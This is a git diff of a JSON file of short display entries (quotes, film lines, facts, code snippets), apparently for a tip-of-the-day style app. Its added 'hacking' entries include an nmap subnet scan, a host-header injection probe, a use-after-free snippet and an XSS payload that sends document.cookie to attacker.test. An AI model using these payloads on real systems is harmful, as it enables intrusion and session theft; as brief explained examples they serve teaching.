{ - "category": "technology", - "content": "The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.", - "attribution": "Technology" + "category": "movies", + "content": "Louis, I think this is the beginning of a beautiful friendship.", + "attribution": "Casablanca (1942)" }, { - "category": "quotes", - "content": "The only limit to our realization of tomorrow is our doubts of today.", - "attribution": "Franklin D. Roosevelt" + "category": "science", + "content": "The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.", + "attribution": "Science" }, { - "category": "programming", - "content": "const total = items.reduce((acc, item) => acc + item.price, 0);", - "attribution": "JavaScript", - "language": "javascript", - "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws." + "category": "history", + "content": "The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.", + "attribution": "History" }, { - "category": "quotes", - "content": "If I have seen further, it is by standing on the shoulders of giants.", - "attribution": "Isaac Newton" + "category": "general", + "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.", + "attribution": "General knowledge" }, { "category": "movies", - "content": "All those moments will be lost in time, like tears in rain. Time to die.", - "attribution": "Blade Runner (1982)" + "content": "All we have to decide is what to do with the time that is given us.", + "attribution": "The Lord of the Rings: The Fellowship of the Ring (2001)" }, { "category": "general", - "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.", + "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.", "attribution": "General knowledge" }, { - "category": "business", - "content": "Price is what you pay, and value is what you get.", - "attribution": "Warren Buffett" + "category": "history", + "content": "The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.", + "attribution": "History" }, { - "category": "movies", - "content": "You mustn't be afraid to dream a little bigger, darling.", - "attribution": "Inception (2010)" + "category": "hacking", + "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24", + "attribution": "Recon", + "language": "shell", + "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list." }, { - "category": "science", - "content": "Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.", - "attribution": "Science" + "category": "philosophy", + "content": "Every new beginning comes from some other beginning's end.", + "attribution": "Seneca, Letters from a Stoic" }, { - "category": "general", - "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.", - "attribution": "General knowledge" + "category": "hacking", + "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location", + "attribution": "Web", + "language": "shell", + "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection." }, { "category": "quotes", - "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.", - "attribution": "Henry David Thoreau, Walden" + "content": "Whatever you are, be a good one.", + "attribution": "Abraham Lincoln" }, { - "category": "quotes", - "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.", - "attribution": "Booker T. Washington" + "category": "literature", + "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.", + "attribution": "Bram Stoker, Dracula" }, { - "category": "technology", - "content": "A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.", - "attribution": "Technology" + "category": "quotes", + "content": "Our greatest glory is not in never falling, but in rising every time we fall.", + "attribution": "Confucius" }, { - "category": "anime", - "content": "Don't believe in yourself. Believe in me who believes in you.", - "attribution": "Gurren Lagann" + "category": "quotes", + "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.", + "attribution": "Booker T. Washington" }, { - "category": "science", - "content": "The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.", - "attribution": "Science" + "category": "literature", + "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.", + "attribution": "Lewis Carroll, Alice's Adventures in Wonderland" }, { - "category": "science", - "content": "The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.", - "attribution": "Science" + "category": "literature", + "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.", + "attribution": "Charles Dickens, A Tale of Two Cities" }, { - "category": "movies", - "content": "If you could see your whole life laid out in front of you, would you change things?", - "attribution": "Arrival (2016)" + "category": "hacking", + "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */", + "attribution": "Memory safety", + "language": "clike", + "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object." }, { - "category": "general", - "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.", - "attribution": "General knowledge" + "category": "anime", + "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.", + "attribution": "Princess Mononoke" }, { - "category": "philosophy", - "content": "It's not what happens to you, but how you react to it that matters.", - "attribution": "Epictetus" + "category": "literature", + "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.", + "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles" }, { - "category": "general", - "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.", - "attribution": "General knowledge" + "category": "programming", + "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)", + "attribution": "Python", + "language": "python", + "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly." }, { "category": "anime", - "content": "What I want more than anything is for you to live and help me live too.", - "attribution": "A Silent Voice" - }, - { - "category": "philosophy", - "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.", - "attribution": "Philosophy" + "content": "Don't be afraid of things you don't understand. Just accept them as they are.", + "attribution": "Mushishi" }, { - "category": "science", - "content": "Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.", - "attribution": "Science" + "category": "general", + "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.", + "attribution": "General knowledge" }, { - "category": "nature", - "content": "Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.", - "attribution": "Nature" + "category": "quotes", + "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.", + "attribution": "Theodore Roosevelt, Citizenship in a Republic" }, { - "category": "programming", - "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }", - "attribution": "Go", - "language": "clike", - "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up." + "category": "hacking", + "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))", + "attribution": "Web", + "language": "javascript", + "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it." }, { "category": "science", - "content": "The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.", + "content": "Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.", "attribution": "Science" }, { @@ -1123,87 +1279,85 @@ "attribution": "Austin Freeman" }, { - "category": "science", - "content": "Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.", - "attribution": "Science" - }, - { - "category": "history", - "content": "The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.", - "attribution": "History" + "category": "movies", + "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.", + "attribution": "The Matrix (1999)" }, { - "category": "movies", - "content": "You either die a hero, or you live long enough to see yourself become the villain.", - "attribution": "The Dark Knight (2008)" + "category": "programming", + "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }", + "attribution": "Rust", + "language": "rust", + "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled." }, { - "category": "literature", - "content": "Not all those who wander are lost.", - "attribution": "J.R.R. Tolkien" + "category": "quotes", + "content": "To be great is to be misunderstood.", + "attribution": "Ralph Waldo Emerson, Self-Reliance" }, { - "category": "philosophy", - "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.", - "attribution": "Philosophy" + "category": "quotes", + "content": "It always seems impossible until it's done.", + "attribution": "Nelson Mandela" }, { - "category": "movies", - "content": "Toto, I've a feeling we're not in Kansas anymore.", - "attribution": "The Wizard of Oz (1939)" + "category": "programming", + "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }", + "attribution": "Rust", + "language": "rust", + "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct." }, { - "category": "literature", - "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.", - "attribution": "Mary Shelley, Frankenstein" + "category": "business", + "content": "Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.", + "attribution": "Business" }, { - "category": "history", - "content": "The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.", - "attribution": "History" + "category": "programming", + "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]", + "attribution": "Python", + "language": "python", + "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop." }, { - "category": "quotes", - "content": "Failure is impossible.", - "attribution": "Susan B. Anthony" + "category": "programming", + "content": "fn main() { println!(\"{}\", args().skip(1).collect::>().join(\" \")); }", + "attribution": "Rust", + "language": "rust", + "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type." }, { - "category": "anime", - "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.", - "attribution": "Princess Mononoke" + "category": "science", + "content": "Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.", + "attribution": "Science" }, { "category": "programming", - "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;", - "attribution": "C", + "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }", + "attribution": "Go", "language": "clike", - "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms." - }, - { - "category": "general", - "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.", - "attribution": "General knowledge" + "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure." }, { - "category": "quotes", - "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?", - "attribution": "Sojourner Truth, Ain't I a Woman?" + "category": "hacking", + "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'", + "attribution": "Web", + "language": "shell", + "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable." }, { "category": "general", - "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.", + "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.", "attribution": "General knowledge" }, { - "category": "programming", - "content": "try: value = int(raw) except ValueError: value = 0", - "attribution": "Python", - "language": "python", - "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt." + "category": "quotes", + "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.", + "attribution": "Henry David Thoreau, Walden" }, { - "category": "anime", - "content": "No matter how much I struggle, there's always a price to pay for changing the past.", - "attribution": "Steins;Gate" + "category": "literature", + "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.", + "attribution": "Mary Shelley, Frankenstein" } ] \ No newline at end of file -- cgit v1.2.3